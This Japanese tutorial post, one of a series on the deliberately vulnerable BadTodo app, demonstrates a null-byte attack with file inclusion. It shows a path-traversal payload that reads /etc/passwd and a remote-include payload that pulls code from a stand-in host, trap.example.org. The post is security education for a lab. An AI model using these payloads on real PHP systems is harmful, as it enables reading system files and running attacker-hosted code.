やられアプリ BadTodo - 24.1 NULLバイト攻撃(+ファイルインクルード)

前回:やられアプリ BadTodo - 23 適切でないアップロートファイル制限 - demandosigno

Todoリストを「完了」にしたり「削除」や「エクスポート」する際に走るリクエストhttps://todo.example.jp/editlist.phpにはprocessというパラメータがありますが、これにファイルインクルードの脆弱性があります。

ここでは「完了」ボタンで試します。BurpSuiteのインターセプトをONにしてから「完了」をクリックし、POSTパラメータをprocess=../../../../../etc/passwdと書き換え送信します。参考 : BadTodo - 7 リモート・ファイルインクルード(RFI)


この結果は"require(../../../../../etc/passwd.php): failed to open stream"というエラーになりました。ファイル名がpasswd.phpとなっています。どうやら入力値の後ろに.phpを付加する仕様のようです。この拡張子がなければいけるかもしれません。

そこで次はprocess=../../../../../etc/passwd%00のように%00を追記して送信します。

/etc/passwd が表示されました。

エラーメッセージが表示された際に require() と記述がある通り、ここでは require 関数が使われています。require() は include() とほぼ同じで指定されたパスからファイルを読み込みます。
PHPの allow_url_include 設定が有効化(On)されている場合、ローカルなパス名の代わりにURLを用いて読み込むファイルを指定することが可能です。
PHP: require - Manual
PHP: include - Manual

そして require() はバイナリセーフではない関数です。PHPはC言語から直接輸入された関数も多いのですが、C言語には「\0」「\x00」「%00」を文字列の終端とみなす取り決めがあります。「%00」は値ゼロのバイトすなわちヌルバイトです。バイナリセーフではない関数はヌルバイトを終端として取り扱います。このためPHPスクリプト側で付加している「.php」という拡張子が無効になり/etc/passwdが表示されます。

PHPでバイナリセーフではない関数をまとめた。 - Security Record

逆にバイナリセーフの関数はこういった制御文字をきちんと処理するため「\0」「\x00」「%00」などが挿入されていても終端として取り扱いません。

NULLバイト攻撃は単独で攻撃が成立する例はまれで、通常は他の脆弱性の対策をかいくぐるために悪用されます。

リモートファイルインクルード

上でも書きましたが allow_url_include 設定がONのためリモートのファイルインクルードも同様に可能です。

process=http://trap.example.org/dump.php%00で送信。

参考情報

次回:やられアプリ BadTodo - 24.2 NULLバイト攻撃(+SQLインジェクション) - demandosigno

/* -----codeの行番号----- */